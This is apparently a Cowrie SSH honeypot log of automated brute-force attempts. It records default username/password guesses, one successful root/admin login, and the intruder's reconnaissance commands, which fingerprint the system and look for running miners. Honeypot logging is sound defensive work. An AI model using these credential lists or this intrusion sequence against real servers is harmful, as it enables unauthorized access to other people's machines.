{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:03.654496Z","src_ip":"176.65.139.95","session":"4abfc92f5acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:03.737356Z","src_ip":"176.65.139.95","session":"4abfc92f5acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:04.047563Z","src_ip":"176.65.139.95","session":"4abfc92f5acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:05.132634Z","src_ip":"176.65.139.95","session":"4abfc92f5acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60826,"dst_ip":"159.203.135.109","dst_port":22,"session":"130854530ec2","protocol":"ssh","message":"New connection: 176.65.139.95:60826 (159.203.135.109:22) [session: 130854530ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:09.342373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:09.346958Z","src_ip":"176.65.139.95","session":"130854530ec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:09.429211Z","src_ip":"176.65.139.95","session":"130854530ec2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:09.687389Z","src_ip":"176.65.139.95","session":"130854530ec2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:10.772114Z","src_ip":"176.65.139.95","session":"130854530ec2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60846,"dst_ip":"159.203.135.109","dst_port":22,"session":"2726aff2a251","protocol":"ssh","message":"New connection: 176.65.139.95:60846 (159.203.135.109:22) [session: 2726aff2a251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:15.062216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:15.073278Z","src_ip":"176.65.139.95","session":"2726aff2a251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:15.147922Z","src_ip":"176.65.139.95","session":"2726aff2a251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:15.475567Z","src_ip":"176.65.139.95","session":"2726aff2a251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:16.628612Z","src_ip":"176.65.139.95","session":"2726aff2a251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.98.76.106","src_port":49982,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b7909549910","protocol":"ssh","message":"New connection: 183.98.76.106:49982 (159.203.135.109:22) [session: 0b7909549910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:19.149130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:19.154620Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:19.372828Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59876,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e671599de9","protocol":"ssh","message":"New connection: 159.203.92.129:59876 (159.203.135.109:22) [session: 98e671599de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:19.880979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:19.885800Z","src_ip":"159.203.92.129","session":"98e671599de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:19.894489Z","src_ip":"159.203.92.129","session":"98e671599de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LiLin","password":"123456","message":"login attempt [LiLin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:19.908335Z","src_ip":"159.203.92.129","session":"98e671599de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:20.546329Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52956,"dst_ip":"159.203.135.109","dst_port":22,"session":"e82687383a8c","protocol":"ssh","message":"New connection: 176.65.139.95:52956 (159.203.135.109:22) [session: e82687383a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:20.698355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:20.703510Z","src_ip":"176.65.139.95","session":"e82687383a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:20.787298Z","src_ip":"176.65.139.95","session":"e82687383a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:20.914382Z","src_ip":"159.203.92.129","session":"98e671599de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:21.097650Z","src_ip":"176.65.139.95","session":"e82687383a8c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:21.752798Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:22.209136Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:22.212989Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:22.216060Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:22.222092Z","src_ip":"176.65.139.95","session":"e82687383a8c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:22.424774Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:22.870158Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:22.873220Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:23.078866Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:23.523444Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:23.527080Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:23.734950Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:24.200552Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:24.204690Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:24.428760Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:24.876898Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:24.880716Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:25.090464Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:25.538356Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:25.541942Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:25.750165Z","src_ip":"183.98.76.106","session":"0b7909549910","protocol":"ssh"}
